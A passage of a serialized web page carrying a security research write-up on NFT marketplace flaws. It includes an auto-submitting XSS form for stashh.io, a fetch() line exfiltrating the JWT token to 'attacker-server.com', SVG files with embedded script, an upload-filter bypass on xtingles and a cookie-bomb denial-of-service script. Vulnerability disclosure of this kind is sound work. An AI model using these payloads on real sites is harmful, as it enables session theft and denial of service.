6,"tag":217,"props":133099,"children":133100},{"style":7263},[133101],{"type":32,"value":132295},{"type":26,"tag":217,"props":133103,"children":133104},{"style":7154},[133105],{"type":32,"value":56415},{"type":26,"tag":217,"props":133107,"children":133108},{"style":7054},[133109],{"type":32,"value":132304},{"type":26,"tag":217,"props":133111,"children":133112},{"style":7149},[133113],{"type":32,"value":267},{"type":26,"tag":217,"props":133115,"children":133116},{"style":7338},[133117],{"type":32,"value":132313},{"type":26,"tag":217,"props":133119,"children":133120},{"style":7054},[133121],{"type":32,"value":132318},{"type":26,"tag":217,"props":133123,"children":133124},{"style":7149},[133125],{"type":32,"value":267},{"type":26,"tag":217,"props":133127,"children":133128},{"style":7338},[133129],{"type":32,"value":132327},{"type":26,"tag":217,"props":133131,"children":133132},{"style":7054},[133133],{"type":32,"value":7454},{"type":26,"tag":217,"props":133135,"children":133136},{"style":7149},[133137],{"type":32,"value":267},{"type":26,"tag":217,"props":133139,"children":133140},{"style":7338},[133141],{"type":32,"value":132340},{"type":26,"tag":217,"props":133143,"children":133144},{"style":7263},[133145],{"type":32,"value":7281},{"type":26,"tag":217,"props":133147,"children":133148},{"class":7028,"line":7178},[133149,133153,133157,133161,133165,133169,133173,133177,133181,133185,133189,133193,133198,133202,133207,133211,133216,133220,133225,133230,133234,133238,133243,133248,133253,133258,133263,133268,133272,133277,133281,133285,133290,133294,133299,133304,133309,133313,133317,133321,133326,133330],{"type":26,"tag":217,"props":133150,"children":133151},{"style":7263},[133152],{"type":32,"value":132352},{"type":26,"tag":217,"props":133154,"children":133155},{"style":7154},[133156],{"type":32,"value":56415},{"type":26,"tag":217,"props":133158,"children":133159},{"style":7054},[133160],{"type":32,"value":132304},{"type":26,"tag":217,"props":133162,"children":133163},{"style":7149},[133164],{"type":32,"value":267},{"type":26,"tag":217,"props":133166,"children":133167},{"style":7338},[133168],{"type":32,"value":132369},{"type":26,"tag":217,"props":133170,"children":133171},{"style":7054},[133172],{"type":32,"value":132318},{"type":26,"tag":217,"props":133174,"children":133175},{"style":7149},[133176],{"type":32,"value":267},{"type":26,"tag":217,"props":133178,"children":133179},{"style":7338},[133180],{"type":32,"value":132382},{"type":26,"tag":217,"props":133182,"children":133183},{"style":7054},[133184],{"type":32,"value":76439},{"type":26,"tag":217,"props":133186,"children":133187},{"style":7149},[133188],{"type":32,"value":267},{"type":26,"tag":217,"props":133190,"children":133191},{"style":7338},[133192],{"type":32,"value":9007},{"type":26,"tag":217,"props":133194,"children":133195},{"style":7154},[133196],{"type":32,"value":133197},"{"",{"type":26,"tag":217,"props":133199,"children":133200},{"style":7338},[133201],{"type":32,"value":60135},{"type":26,"tag":217,"props":133203,"children":133204},{"style":7154},[133205],{"type":32,"value":133206},"":"<",{"type":26,"tag":217,"props":133208,"children":133209},{"style":7338},[133210],{"type":32,"value":6468},{"type":26,"tag":217,"props":133212,"children":133213},{"style":7154},[133214],{"type":32,"value":133215},"/",{"type":26,"tag":217,"props":133217,"children":133218},{"style":7338},[133219],{"type":32,"value":8406},{"type":26,"tag":217,"props":133221,"children":133222},{"style":7154},[133223],{"type":32,"value":133224},"=",{"type":26,"tag":217,"props":133226,"children":133227},{"style":7338},[133228],{"type":32,"value":133229},"x onerror",{"type":26,"tag":217,"props":133231,"children":133232},{"style":7154},[133233],{"type":32,"value":133224},{"type":26,"tag":217,"props":133235,"children":133236},{"style":7338},[133237],{"type":32,"value":130100},{"type":26,"tag":217,"props":133239,"children":133240},{"style":7154},[133241],{"type":32,"value":133242},"(`",{"type":26,"tag":217,"props":133244,"children":133245},{"style":7338},[133246],{"type":32,"value":133247},"https",{"type":26,"tag":217,"props":133249,"children":133250},{"style":7154},[133251],{"type":32,"value":133252},"://",{"type":26,"tag":217,"props":133254,"children":133255},{"style":7338},[133256],{"type":32,"value":133257},"attacker-server",{"type":26,"tag":217,"props":133259,"children":133260},{"style":7154},[133261],{"type":32,"value":133262},".",{"type":26,"tag":217,"props":133264,"children":133265},{"style":7338},[133266],{"type":32,"value":133267},"com",{"type":26,"tag":217,"props":133269,"children":133270},{"style":7154},[133271],{"type":32,"value":133215},{"type":26,"tag":217,"props":133273,"children":133274},{"style":7338},[133275],{"type":32,"value":133276},"leak",{"type":26,"tag":217,"props":133278,"children":133279},{"style":7154},[133280],{"type":32,"value":133262},{"type":26,"tag":217,"props":133282,"children":133283},{"style":7338},[133284],{"type":32,"value":24580},{"type":26,"tag":217,"props":133286,"children":133287},{"style":7154},[133288],{"type":32,"value":133289},"`)>","",{"type":26,"tag":217,"props":133291,"children":133292},{"style":7338},[133293],{"type":32,"value":102902},{"type":26,"tag":217,"props":133295,"children":133296},{"style":7154},[133297],{"type":32,"value":133298},"":"",{"type":26,"tag":217,"props":133300,"children":133301},{"style":7338},[133302],{"type":32,"value":133303},"profile-assets",{"type":26,"tag":217,"props":133305,"children":133306},{"style":7154},[133307],{"type":32,"value":133308},"","",{"type":26,"tag":217,"props":133310,"children":133311},{"style":7338},[133312],{"type":32,"value":16194},{"type":26,"tag":217,"props":133314,"children":133315},{"style":7154},[133316],{"type":32,"value":133298},{"type":26,"tag":217,"props":133318,"children":133319},{"style":7338},[133320],{"type":32,"value":132521},{"type":26,"tag":217,"props":133322,"children":133323},{"style":7154},[133324],{"type":32,"value":133325},""}",{"type":26,"tag":217,"props":133327,"children":133328},{"style":7338},[133329],{"type":32,"value":9007},{"type":26,"tag":217,"props":133331,"children":133332},{"style":7263},[133333],{"type":32,"value":132535},{"type":26,"tag":217,"props":133335,"children":133336},{"class":7028,"line":7389},[133337,133341,133345,133349,133353,133357,133361,133365,133369],{"type":26,"tag":217,"props":133338,"children":133339},{"style":7263},[133340],{"type":32,"value":132352},{"type":26,"tag":217,"props":133342,"children":133343},{"style":7154},[133344],{"type":32,"value":56415},{"type":26,"tag":217,"props":133346,"children":133347},{"style":7054},[133348],{"type":32,"value":132304},{"type":26,"tag":217,"props":133350,"children":133351},{"style":7149},[133352],{"type":32,"value":267},{"type":26,"tag":217,"props":133354,"children":133355},{"style":7338},[133356],{"type":32,"value":132559},{"type":26,"tag":217,"props":133358,"children":133359},{"style":7054},[133360],{"type":32,"value":76439},{"type":26,"tag":217,"props":133362,"children":133363},{"style":7149},[133364],{"type":32,"value":267},{"type":26,"tag":217,"props":133366,"children":133367},{"style":7338},[133368],{"type":32,"value":132572},{"type":26,"tag":217,"props":133370,"children":133371},{"style":7263},[133372],{"type":32,"value":132535},{"type":26,"tag":217,"props":133374,"children":133375},{"class":7028,"line":7406},[133376,133380,133384],{"type":26,"tag":217,"props":133377,"children":133378},{"style":7263},[133379],{"type":32,"value":8744},{"type":26,"tag":217,"props":133381,"children":133382},{"style":7154},[133383],{"type":32,"value":132215},{"type":26,"tag":217,"props":133385,"children":133386},{"style":7263},[133387],{"type":32,"value":7281},{"type":26,"tag":217,"props":133389,"children":133390},{"class":7028,"line":7439},[133391,133395,133399],{"type":26,"tag":217,"props":133392,"children":133393},{"style":7263},[133394],{"type":32,"value":132599},{"type":26,"tag":217,"props":133396,"children":133397},{"style":7154},[133398],{"type":32,"value":7399},{"type":26,"tag":217,"props":133400,"children":133401},{"style":7263},[133402],{"type":32,"value":7281},{"type":26,"tag":217,"props":133404,"children":133405},{"class":7028,"line":7487},[133406],{"type":26,"tag":217,"props":133407,"children":133408},{"emptyLinePlaceholder":17},[133409],{"type":32,"value":7817},{"type":26,"tag":217,"props":133411,"children":133412},{"class":7028,"line":7524},[133413,133417,133421],{"type":26,"tag":217,"props":133414,"children":133415},{"style":7263},[133416],{"type":32,"value":132163},{"type":26,"tag":217,"props":133418,"children":133419},{"style":7154},[133420],{"type":32,"value":7563},{"type":26,"tag":217,"props":133422,"children":133423},{"style":7263},[133424],{"type":32,"value":7281},{"type":26,"tag":217,"props":133426,"children":133427},{"class":7028,"line":7553},[133428],{"type":26,"tag":217,"props":133429,"children":133430},{"emptyLinePlaceholder":17},[133431],{"type":32,"value":7817},{"type":26,"tag":217,"props":133433,"children":133434},{"class":7028,"line":7570},[133435,133439],{"type":26,"tag":217,"props":133436,"children":133437},{"style":7048},[133438],{"type":32,"value":132644},{"type":26,"tag":217,"props":133440,"children":133441},{"style":7154},[133442],{"type":32,"value":10033},{"type":26,"tag":217,"props":133444,"children":133445},{"class":7028,"line":7621},[133446,133450,133454,133458,133462,133466,133470,133474,133478,133482,133486,133490],{"type":26,"tag":217,"props":133447,"children":133448},{"style":7054},[133449],{"type":32,"value":95865},{"type":26,"tag":217,"props":133451,"children":133452},{"style":7054},[133453],{"type":32,"value":132660},{"type":26,"tag":217,"props":133455,"children":133456},{"style":7149},[133457],{"type":32,"value":4984},{"type":26,"tag":217,"props":133459,"children":133460},{"style":7042},[133461],{"type":32,"value":7864},{"type":26,"tag":217,"props":133463,"children":133464},{"style":7149},[133465],{"type":32,"value":7051},{"type":26,"tag":217,"props":133467,"children":133468},{"style":7042},[133469],{"type":32,"value":7864},{"type":26,"tag":217,"props":133471,"children":133472},{"style":7064},[133473],{"type":32,"value":66576},{"type":26,"tag":217,"props":133475,"children":133476},{"style":7149},[133477],{"type":32,"value":1851},{"type":26,"tag":217,"props":133479,"children":133480},{"style":7338},[133481],{"type":32,"value":132689},{"type":26,"tag":217,"props":133483,"children":133484},{"style":7149},[133485],{"type":32,"value":132694},{"type":26,"tag":217,"props":133487,"children":133488},{"style":7064},[133489],{"type":32,"value":8375},{"type":26,"tag":217,"props":133491,"children":133492},{"style":7149},[133493],{"type":32,"value":64888},{"type":26,"tag":217,"props":133495,"children":133496},{"class":7028,"line":7672},[133497],{"type":26,"tag":217,"props":133498,"children":133499},{"emptyLinePlaceholder":17},[133500],{"type":32,"value":7817},{"type":26,"tag":217,"props":133502,"children":133503},{"class":7028,"line":7681},[133504,133508,133512,133516,133520,133524,133528,133532,133536,133540,133544,133548,133552],{"type":26,"tag":217,"props":133505,"children":133506},{"style":7054},[133507],{"type":32,"value":91366},{"type":26,"tag":217,"props":133509,"children":133510},{"style":7054},[133511],{"type":32,"value":28564},{"type":26,"tag":217,"props":133513,"children":133514},{"style":7149},[133515],{"type":32,"value":4984},{"type":26,"tag":217,"props":133517,"children":133518},{"style":7154},[133519],{"type":32,"value":7116},{"type":26,"tag":217,"props":133521,"children":133522},{"style":7064},[133523],{"type":32,"value":132733},{"type":26,"tag":217,"props":133525,"children":133526},{"style":7149},[133527],{"type":32,"value":132738},{"type":26,"tag":217,"props":133529,"children":133530},{"style":7054},[133531],{"type":32,"value":8375},{"type":26,"tag":217,"props":133533,"children":133534},{"style":7149},[133535],{"type":32,"value":9799},{"type":26,"tag":217,"props":133537,"children":133538},{"style":7338},[133539],{"type":32,"value":132751},{"type":26,"tag":217,"props":133541,"children":133542},{"style":7149},[133543],{"type":32,"value":132756},{"type":26,"tag":217,"props":133545,"children":133546},{"style":7054},[133547],{"type":32,"value":132761},{"type":26,"tag":217,"props":133549,"children":133550},{"style":7338},[133551],{"type":32,"value":132766},{"type":26,"tag":217,"props":133553,"children":133554},{"style":7149},[133555],{"type":32,"value":99989},{"type":26,"tag":217,"props":133557,"children":133558},{"class":7028,"line":7754},[133559,133563,133567,133571,133575,133579],{"type":26,"tag":217,"props":133560,"children":133561},{"style":7054},[133562],{"type":32,"value":95865},{"type":26,"tag":217,"props":133564,"children":133565},{"style":7054},[133566],{"type":32,"value":132782},{"type":26,"tag":217,"props":133568,"children":133569},{"style":7149},[133570],{"type":32,"value":4984},{"type":26,"tag":217,"props":133572,"children":133573},{"style":7154},[133574],{"type":32,"value":7116},{"type":26,"tag":217,"props":133576,"children":133577},{"style":7064},[133578],{"type":32,"value":132795},{"type":26,"tag":217,"props":133580,"children":133581},{"style":7149},[133582],{"type":32,"value":8217},{"type":26,"tag":217,"props":133584,"children":133585},{"class":7028,"line":7784},[133586,133590,133594,133598,133602,133606,133610,133614],{"type":26,"tag":217,"props":133587,"children":133588},{"style":7054},[133589],{"type":32,"value":132807},{"type":26,"tag":217,"props":133591,"children":133592},{"style":7149},[133593],{"type":32,"value":180},{"type":26,"tag":217,"props":133595,"children":133596},{"style":7054},[133597],{"type":32,"value":132816},{"type":26,"tag":217,"props":133599,"children":133600},{"style":7149},[133601],{"type":32,"value":180},{"type":26,"tag":217,"props":133603,"children":133604},{"style":7064},[133605],{"type":32,"value":61551},{"type":26,"tag":217,"props":133607,"children":133608},{"style":7149},[133609],{"type":32,"value":1851},{"type":26,"tag":217,"props":133611,"children":133612},{"style":7054},[133613],{"type":32,"value":19826},{"type":26,"tag":217,"props":133615,"children":133616},{"style":7149},[133617],{"type":32,"value":7669},{"type":26,"tag":217,"props":133619,"children":133620},{"class":7028,"line":7802},[133621],{"type":26,"tag":217,"props":133622,"children":133623},{"emptyLinePlaceholder":17},[133624],{"type":32,"value":7817},{"type":26,"tag":217,"props":133626,"children":133627},{"class":7028,"line":7811},[133628,133632,133636,133640,133644,133648,133652,133656],{"type":26,"tag":217,"props":133629,"children":133630},{"style":7054},[133631],{"type":32,"value":132851},{"type":26,"tag":217,"props":133633,"children":133634},{"style":7149},[133635],{"type":32,"value":180},{"type":26,"tag":217,"props":133637,"children":133638},{"style":7054},[133639],{"type":32,"value":132860},{"type":26,"tag":217,"props":133641,"children":133642},{"style":7149},[133643],{"type":32,"value":4984},{"type":26,"tag":217,"props":133645,"children":133646},{"style":7054},[133647],{"type":32,"value":132869},{"type":26,"tag":217,"props":133649,"children":133650},{"style":7149},[133651],{"type":32,"value":180},{"type":26,"tag":217,"props":133653,"children":133654},{"style":7054},[133655],{"type":32,"value":132860},{"type":26,"tag":217,"props":133657,"children":133658},{"style":7149},[133659],{"type":32,"value":7162},{"type":26,"tag":217,"props":133661,"children":133662},{"class":7028,"line":7820},[133663],{"type":26,"tag":217,"props":133664,"children":133665},{"emptyLinePlaceholder":17},[133666],{"type":32,"value":7817},{"type":26,"tag":217,"props":133668,"children":133669},{"class":7028,"line":7844},[133670,133675,133679,133684],{"type":26,"tag":217,"props":133671,"children":133672},{"style":7054},[133673],{"type":32,"value":133674},"        form123",{"type":26,"tag":217,"props":133676,"children":133677},{"style":7149},[133678],{"type":32,"value":180},{"type":26,"tag":217,"props":133680,"children":133681},{"style":7064},[133682],{"type":32,"value":133683},"submit",{"type":26,"tag":217,"props":133685,"children":133686},{"style":7149},[133687],{"type":32,"value":64888},{"type":26,"tag":217,"props":133689,"children":133690},{"class":7028,"line":7910},[133691,133695],{"type":26,"tag":217,"props":133692,"children":133693},{"style":7154},[133694],{"type":32,"value":132889},{"type":26,"tag":217,"props":133696,"children":133697},{"style":7048},[133698],{"type":32,"value":132894},{"type":26,"tag":217,"props":133700,"children":133701},{"class":7028,"line":7954},[133702],{"type":26,"tag":217,"props":133703,"children":133704},{"emptyLinePlaceholder":17},[133705],{"type":32,"value":7817},{"type":26,"tag":217,"props":133707,"children":133708},{"class":7028,"line":7985},[133709,133713,133717],{"type":26,"tag":217,"props":133710,"children":133711},{"style":7263},[133712],{"type":32,"value":132599},{"type":26,"tag":217,"props":133714,"children":133715},{"style":7154},[133716],{"type":32,"value":7563},{"type":26,"tag":217,"props":133718,"children":133719},{"style":7263},[133720],{"type":32,"value":7281},{"type":26,"tag":217,"props":133722,"children":133723},{"class":7028,"line":8027},[133724,133728,133732],{"type":26,"tag":217,"props":133725,"children":133726},{"style":7263},[133727],{"type":32,"value":7378},{"type":26,"tag":217,"props":133729,"children":133730},{"style":7154},[133731],{"type":32,"value":7253},{"type":26,"tag":217,"props":133733,"children":133734},{"style":7263},[133735],{"type":32,"value":7281},{"type":26,"tag":39,"props":133737,"children":133738},{},[133739],{"type":32,"value":133740},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":26,"tag":207,"props":133742,"children":133744},{"className":15849,"code":133743,"language":15848,"meta":8,"style":8},"{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n",[133745],{"type":26,"tag":83,"props":133746,"children":133747},{"__ignoreMap":8},[133748,133755,133776,133797,133814],{"type":26,"tag":217,"props":133749,"children":133750},{"class":7028,"line":7029},[133751],{"type":26,"tag":217,"props":133752,"children":133753},{"style":7048},[133754],{"type":32,"value":10033},{"type":26,"tag":217,"props":133756,"children":133757},{"class":7028,"line":6770},[133758,133763,133767,133772],{"type":26,"tag":217,"props":133759,"children":133760},{"style":7054},[133761],{"type":32,"value":133762},"  \"address\"",{"type":26,"tag":217,"props":133764,"children":133765},{"style":7048},[133766],{"type":32,"value":14785},{"type":26,"tag":217,"props":133768,"children":133769},{"style":7338},[133770],{"type":32,"value":133771},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":26,"tag":217,"props":133773,"children":133774},{"style":7048},[133775],{"type":32,"value":10953},{"type":26,"tag":217,"props":133777,"children":133778},{"class":7028,"line":6779},[133779,133784,133788,133793],{"type":26,"tag":217,"props":133780,"children":133781},{"style":7054},[133782],{"type":32,"value":133783},"  \"to\"",{"type":26,"tag":217,"props":133785,"children":133786},{"style":7048},[133787],{"type":32,"value":14785},{"type":26,"tag":217,"props":133789,"children":133790},{"style":7338},[133791],{"type":32,"value":133792},"\"profile-assets\"",{"type":26,"tag":217,"props":133794,"children":133795},{"style":7048},[133796],{"type":32,"value":10953},{"type":26,"tag":217,"props":133798,"children":133799},{"class":7028,"line":7140},[133800,133805,133809],{"type":26,"tag":217,"props":133801,"children":133802},{"style":7054},[133803],{"type":32,"value":133804},"  \"type\"",{"type":26,"tag":217,"props":133806,"children":133807},{"style":7048},[133808],{"type":32,"value":14785},{"type":26,"tag":217,"props":133810,"children":133811},{"style":7338},[133812],{"type":32,"value":133813},"\"icon\"\n",{"type":26,"tag":217,"props":133815,"children":133816},{"class":7028,"line":7165},[133817],{"type":26,"tag":217,"props":133818,"children":133819},{"style":7048},[133820],{"type":32,"value":7184},{"type":26,"tag":39,"props":133822,"children":133823},{},[133824],{"type":32,"value":133825},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":26,"tag":207,"props":133827,"children":133829},{"className":24581,"code":133828,"language":24580,"meta":8,"style":8},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[133830],{"type":26,"tag":83,"props":133831,"children":133832},{"__ignoreMap":8},[133833],{"type":26,"tag":217,"props":133834,"children":133835},{"class":7028,"line":7029},[133836,133840,133844,133849,133853,133858,133862,133867,133871,133876,133880,133884,133888],{"type":26,"tag":217,"props":133837,"children":133838},{"style":7064},[133839],{"type":32,"value":67152},{"type":26,"tag":217,"props":133841,"children":133842},{"style":7048},[133843],{"type":32,"value":1851},{"type":26,"tag":217,"props":133845,"children":133846},{"style":7338},[133847],{"type":32,"value":133848},"`https://attacker-server.com/?token_leak=",{"type":26,"tag":217,"props":133850,"children":133851},{"style":7154},[133852],{"type":32,"value":7641},{"type":26,"tag":217,"props":133854,"children":133855},{"style":7054},[133856],{"type":32,"value":133857},"localStorage",{"type":26,"tag":217,"props":133859,"children":133860},{"style":7149},[133861],{"type":32,"value":180},{"type":26,"tag":217,"props":133863,"children":133864},{"style":7064},[133865],{"type":32,"value":133866},"getItem",{"type":26,"tag":217,"props":133868,"children":133869},{"style":7149},[133870],{"type":32,"value":1851},{"type":26,"tag":217,"props":133872,"children":133873},{"style":7338},[133874],{"type":32,"value":133875},"'token'",{"type":26,"tag":217,"props":133877,"children":133878},{"style":7149},[133879],{"type":32,"value":1889},{"type":26,"tag":217,"props":133881,"children":133882},{"style":7154},[133883],{"type":32,"value":7659},{"type":26,"tag":217,"props":133885,"children":133886},{"style":7338},[133887],{"type":32,"value":7664},{"type":26,"tag":217,"props":133889,"children":133890},{"style":7048},[133891],{"type":32,"value":7669},{"type":26,"tag":607,"props":133893,"children":133895},{"id":133894},"svgs",[133896],{"type":32,"value":133897},"SVGs",{"type":26,"tag":39,"props":133899,"children":133900},{},[133901],{"type":32,"value":133902},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":26,"tag":39,"props":133904,"children":133905},{},[133906],{"type":32,"value":133907},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":26,"tag":207,"props":133909,"children":133911},{"className":24581,"code":133910,"language":24580,"meta":8,"style":8},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[133912],{"type":26,"tag":83,"props":133913,"children":133914},{"__ignoreMap":8},[133915,133961,133996,134003,134032,134063,134091,134099,134115],{"type":26,"tag":217,"props":133916,"children":133917},{"class":7028,"line":7029},[133918,133923,133928,133933,133937,133942,133947,133951,133956],{"type":26,"tag":217,"props":133919,"children":133920},{"style":7149},[133921],{"type":32,"value":133922},"\u003C?",{"type":26,"tag":217,"props":133924,"children":133925},{"style":7054},[133926],{"type":32,"value":133927},"xml",{"type":26,"tag":217,"props":133929,"children":133930},{"style":7054},[133931],{"type":32,"value":133932}," version",{"type":26,"tag":217,"props":133934,"children":133935},{"style":7149},[133936],{"type":32,"value":267},{"type":26,"tag":217,"props":133938,"children":133939},{"style":7338},[133940],{"type":32,"value":133941},"\"1.0\"",{"type":26,"tag":217,"props":133943,"children":133944},{"style":7054},[133945],{"type":32,"value":133946}," encoding",{"type":26,"tag":217,"props":133948,"children":133949},{"style":7149},[133950],{"type":32,"value":267},{"type":26,"tag":217,"props":133952,"children":133953},{"style":7338},[133954],{"type":32,"value":133955},"\"UTF-8\"",{"type":26,"tag":217,"props":133957,"children":133958},{"style":7149},[133959],{"type":32,"value":133960},"?>\n",{"type":26,"tag":217,"props":133962,"children":133963},{"class":7028,"line":6770},[133964,133968,133972,133977,133982,133987,133992],{"type":26,"tag":217,"props":133965,"children":133966},{"style":7149},[133967],{"type":32,"value":7266},{"type":26,"tag":217,"props":133969,"children":133970},{"style":7054},[133971],{"type":32,"value":7271},{"type":26,"tag":217,"props":133973,"children":133974},{"style":7054},[133975],{"type":32,"value":133976}," svg",{"type":26,"tag":217,"props":133978,"children":133979},{"style":7054},[133980],{"type":32,"value":133981}," PUBLIC",{"type":26,"tag":217,"props":133983,"children":133984},{"style":7338},[133985],{"type":32,"value":133986}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":26,"tag":217,"props":133988,"children":133989},{"style":7338},[133990],{"type":32,"value":133991}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":26,"tag":217,"props":133993,"children":133994},{"style":7149},[133995],{"type":32,"value":7281},{"type":26,"tag":217,"props":133997,"children":133998},{"class":7028,"line":6779},[133999],{"type":26,"tag":217,"props":134000,"children":134001},{"emptyLinePlaceholder":17},[134002],{"type":32,"value":7817},{"type":26,"tag":217,"props":134004,"children":134005},{"class":7028,"line":7140},[134006,134010,134014,134019,134023,134028],{"type":26,"tag":217,"props":134007,"children":134008},{"style":7263},[134009],{"type":32,"value":13147},{"type":26,"tag":217,"props":134011,"children":134012},{"style":7154},[134013],{"type":32,"value":47190},{"type":26,"tag":217,"props":134015,"children":134016},{"style":7054},[134017],{"type":32,"value":134018}," xmlns",{"type":26,"tag":217,"props":134020,"children":134021},{"style":7149},[134022],{"type":32,"value":267},{"type":26,"tag":217,"props":134024,"children":134025},{"style":7338},[134026],{"type":32,"value":134027},"\"http://www.w3.org/2000/svg\"",{"type":26,"tag":217,"props":134029,"children":134030},{"style":7263},[134031],{"type":32,"value":7281},{"type":26,"tag":217,"props":134033,"children":134034},{"class":7028,"line":7165},[134035,134039,134043,134047,134051,134055,134059],{"type":26,"tag":217,"props":134036,"children":134037},{"style":7263},[134038],{"type":32,"value":132163},{"type":26,"tag":217,"props":134040,"children":134041},{"style":7154},[134042],{"type":32,"value":7357},{"type":26,"tag":217,"props":134044,"children":134045},{"style":7263},[134046],{"type":32,"value":5903},{"type":26,"tag":217,"props":134048,"children":134049},{"style":7048},[134050],{"type":32,"value":131038},{"type":26,"tag":217,"props":134052,"children":134053},{"style":7263},[134054],{"type":32,"value":7378},{"type":26,"tag":217,"props":134056,"children":134057},{"style":7154},[134058],{"type":32,"value":7357},{"type":26,"tag":217,"props":134060,"children":134061},{"style":7263},[134062],{"type":32,"value":7281},{"type":26,"tag":217,"props":134064,"children":134065},{"class":7028,"line":7178},[134066,134070,134074,134078,134082,134087],{"type":26,"tag":217,"props":134067,"children":134068},{"style":7263},[134069],{"type":32,"value":132163},{"type":26,"tag":217,"props":134071,"children":134072},{"style":7154},[134073],{"type":32,"value":7563},{"type":26,"tag":217,"props":134075,"children":134076},{"style":7054},[134077],{"type":32,"value":132304},{"type":26,"tag":217,"props":134079,"children":134080},{"style":7149},[134081],{"type":32,"value":267},{"type":26,"tag":217,"props":134083,"children":134084},{"style":7338},[134085],{"type":32,"value":134086},"\"text/javascript\"",{"type":26,"tag":217,"props":134088,"children":134089},{"style":7263},[134090],{"type":32,"value":7281},{"type":26,"tag":217,"props":134092,"children":134093},{"class":7028,"line":7389},[134094],{"type":26,"tag":217,"props":134095,"children":134096},{"style":7048},[134097],{"type":32,"value":134098},"   alert(document.domain);\n",{"type":26,"tag":217,"props":134100,"children":134101},{"class":7028,"line":7406},[134102,134107,134111],{"type":26,"tag":217,"props":134103,"children":134104},{"style":7263},[134105],{"type":32,"value":134106},"   \u003C/",{"type":26,"tag":217,"props":134108,"children":134109},{"style":7154},[134110],{"type":32,"value":7563},{"type":26,"tag":217,"props":134112,"children":134113},{"style":7263},[134114],{"type":32,"value":7281},{"type":26,"tag":217,"props":134116,"children":134117},{"class":7028,"line":7439},[134118,134123,134127],{"type":26,"tag":217,"props":134119,"children":134120},{"style":7263},[134121],{"type":32,"value":134122}," \u003C/",{"type":26,"tag":217,"props":134124,"children":134125},{"style":7154},[134126],{"type":32,"value":47190},{"type":26,"tag":217,"props":134128,"children":134129},{"style":7263},[134130],{"type":32,"value":7281},{"type":26,"tag":39,"props":134132,"children":134133},{},[134134,134136,134143],{"type":32,"value":134135},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":26,"tag":163,"props":134137,"children":134140},{"href":134138,"rel":134139},"https://xtingles.com/",[167],[134141],{"type":32,"value":134142},"xtingles Marketplace",{"type":32,"value":180},{"type":26,"tag":39,"props":134145,"children":134146},{},[134147],{"type":32,"value":134148},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":26,"tag":39,"props":134150,"children":134151},{},[134152],{"type":32,"value":134153},"Below, we show you how we did it.",{"type":26,"tag":39,"props":134155,"children":134156},{},[134157],{"type":32,"value":134158},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":26,"tag":39,"props":134160,"children":134161},{},[134162],{"type":26,"tag":6468,"props":134163,"children":134165},{"alt":8,"src":134164},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":26,"tag":39,"props":134167,"children":134168},{},[134169],{"type":32,"value":134170},"After changing the extension inside the file name.",{"type":26,"tag":39,"props":134172,"children":134173},{},[134174],{"type":26,"tag":6468,"props":134175,"children":134177},{"alt":8,"src":134176},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":26,"tag":607,"props":134179,"children":134181},{"id":134180},"svgs-return",[134182],{"type":32,"value":134183},"SVGs Return",{"type":26,"tag":39,"props":134185,"children":134186},{},[134187],{"type":32,"value":134188},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":26,"tag":39,"props":134190,"children":134191},{},[134192],{"type":32,"value":134193},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":26,"tag":39,"props":134195,"children":134196},{},[134197],{"type":32,"value":134198},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":26,"tag":207,"props":134200,"children":134204},{"className":134201,"code":134202,"language":134203,"meta":8,"style":8},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n 